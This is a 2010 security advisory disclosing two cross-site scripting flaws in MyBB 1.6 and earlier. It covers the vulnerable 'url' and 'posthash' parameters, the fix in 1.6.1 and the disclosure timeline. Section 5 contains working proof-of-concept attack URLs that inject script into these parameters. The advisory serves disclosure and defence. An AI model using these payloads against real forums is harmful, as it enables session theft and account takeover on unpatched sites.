Tuesday, December 28, 2010

MyBB 1.6 <= Cross Site Scripting Vulnerability

http://yehg.net/lab/pr0js/advisories/%5Bmybb1.6%5D_cross_site_scripting



1. OVERVIEW

MyBB was vulnerable to Cross Site Scripting Vulnerability.


2. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.


3. VULNERABILITY DESCRIPTION

Two XSS vulnerabilities were found. One is user-driven XSS on "url" parameter.
User will get xssed upon successful log-in.
The other is a reflected XSS on "posthash" parameter where the valid tid (topic id) is required for successful attack.
The anti-CSRF check against "my_post_key" parameter was not done in thread/post preview mode and thus there came a way for XSS to be successful.


4. VERSIONS AFFECTED

MyBB 1.6 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

User-driven XSS
http://attacker.in/mybb/member.php?action=login&url=javascript:alert%28/XSS/%29

Reflected XSS
http://attacker.in/mybb/newreply.php?my_post_key=&subject=XSS&action=do_newreply&posthash="><script>alert(/XSS/)</script>&quoted_ids=&lastpid=1&from_page=1&tid=1&method=quickreply&message=test&previewpost=Preview Post


6. SOLUTION

Upgrade to 1.6.1


7. VENDOR

MyBB Development Team
http://www.mybb.com/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting
Vendor ChangeLog: http://blog.mybb.com/2010/12/15/mybb-1-6-1-release-1-4-14-update/
About MyBB: http://www.mybb.com/about/mybb


#yehg [2010-12-20]

#last updated at 2010-12-23